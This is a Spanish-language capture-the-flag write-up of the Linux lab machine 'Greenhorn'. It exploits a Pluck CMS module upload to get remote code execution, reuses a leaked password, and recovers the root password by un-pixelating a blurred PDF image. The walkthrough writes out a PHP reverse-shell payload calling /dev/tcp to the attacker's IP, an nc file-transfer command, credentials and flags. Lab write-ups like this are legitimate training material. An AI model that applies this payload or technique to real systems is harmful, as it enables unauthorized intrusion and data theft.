Greenhorn

OS: Linux
Dificultad: Fácil
Puntos: 20

Nmap Scan

nmap -v -p- --min-rate=5000 10.129.134.190
nmap -p 22,80,3000 -sV -sC -oN nmap.txt 10.129.134.190
Nmap scan report for 10.129.134.190
Host is up (0.028s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  ppp?

Enumeracion

Identificamos la aplicacion plunk 4.7.18 en el puerto 80. Con un portal de autenticacion.

Tambien esta el puerto 3000 donde esta el repositorio de la aplicacion.

Despues de investigar los archivos encontramos un hash en el siguiente archivo.

http://greenhorn.htb:3000/GreenAdmin/GreenHorn/src/branch/main/data/settings/pass.php
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>

Es posible crackear el password.

Con este password nos podemos autenticar en plunk.

Plunk Remote Code Execution (RCE)

Esta version de plunk es vulnerable a RCE por lo tanto podemos obtener una reverse shell de la siguiente forma.

https://www.exploit-db.com/exploits/51592
https://www.youtube.com/watch?v=GpL_rz8jgro

Creamos nuestro zip.

┌──(root㉿kali)-[~/GreenHorn]
└─# echo '<?php system("bash -c \"bash -i >& /dev/tcp/10.10.14.34/1234 0>&1\"");?>' > shell.php
┌──(root㉿kali)-[~/GreenHorn]
└─# zip shell.zip shell.php                                                                    
  adding: shell.php (deflated 8%)

Lo cargamos en la pagina web y obtenemos nuestra reverse shell.

http://greenhorn.htb/admin.php?action=installmodule

Usamos el mismo password para conectarnos a la cuenta de junior.

junior : iloveyou1
www-data@greenhorn:~/html/pluck$ su junior        
Password: 
junior@greenhorn:/var/www/html/pluck$ id
uid=1000(junior) gid=1000(junior) groups=1000(junior)
junior@greenhorn:/var/www/html/pluck$ cd
junior@greenhorn:~$ cat user.txt 
4d593f51335bc93f1b729509db80e4ad
junior@greenhorn:~$

En el directorio del usuarios encontramos un archivo pdf. Nos pasamos el archivo.

nc -w 5 10.10.14.34 4444 < 'Using OpenVAS.pdf'
nc -lvnp 4444 > 'Using OpenVAS.pdf'

Escalada de Privilegios

Depix Unblur image

Si abrimos el archivo nos percatamos que hay una parte con blur. De la siguiente forma podemos extraer la imagen del documento.

pdfimages -png Using\ OpenVAS.pdf test.png

Utilizando la siguiente herramienta podemos obtener un texto mas claro.

┌──(root㉿kali)-[~/GreenHorn/Depix]
└─# python3 depix.py -p ../test.png-000.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png 
2024-07-23 05:28:52,647 - Loading pixelated image from ../test.png-000.png
2024-07-23 05:28:52,653 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-07-23 05:28:53,106 - Finding color rectangles from pixelated space
2024-07-23 05:28:53,107 - Found 252 same color rectangles
2024-07-23 05:28:53,107 - 190 rectangles left after moot filter
2024-07-23 05:28:53,107 - Found 1 different rectangle sizes
2024-07-23 05:28:53,107 - Finding matches in search image
2024-07-23 05:28:53,107 - Scanning 190 blocks with size (5, 5)
2024-07-23 05:28:53,128 - Scanning in searchImage: 0/1674
2024-07-23 05:29:26,792 - Removing blocks with no matches
2024-07-23 05:29:26,792 - Splitting single matches and multiple matches
2024-07-23 05:29:26,795 - [16 straight matches | 174 multiple matches]
2024-07-23 05:29:26,795 - Trying geometrical matches on single-match squares
2024-07-23 05:29:27,006 - [29 straight matches | 161 multiple matches]
2024-07-23 05:29:27,006 - Trying another pass on geometrical matches
2024-07-23 05:29:27,193 - [41 straight matches | 149 multiple matches]
2024-07-23 05:29:27,193 - Writing single match results to output
2024-07-23 05:29:27,193 - Writing average results for multiple matches to output
2024-07-23 05:29:29,014 - Saving output image to: output.png

Ese texto se puede usar como password para el usuario root.

root : sidefromsidetheothersidesidefromsidetheotherside
junior@greenhorn:~$ su root                                                                                                                                                                                        
Password:                                                                                                                                                                                                          
root@greenhorn:/home/junior# cd                                                                                                                                                                                    
root@greenhorn:~# cat root.txt                                                                                                                                                                                     
45e2fc9d8c59f8764eec7b3cef91a99a

Referencias

https://github.com/spipm/Depix
https://www.exploit-db.com/exploits/51592
https://www.youtube.com/watch?v=GpL_rz8jgro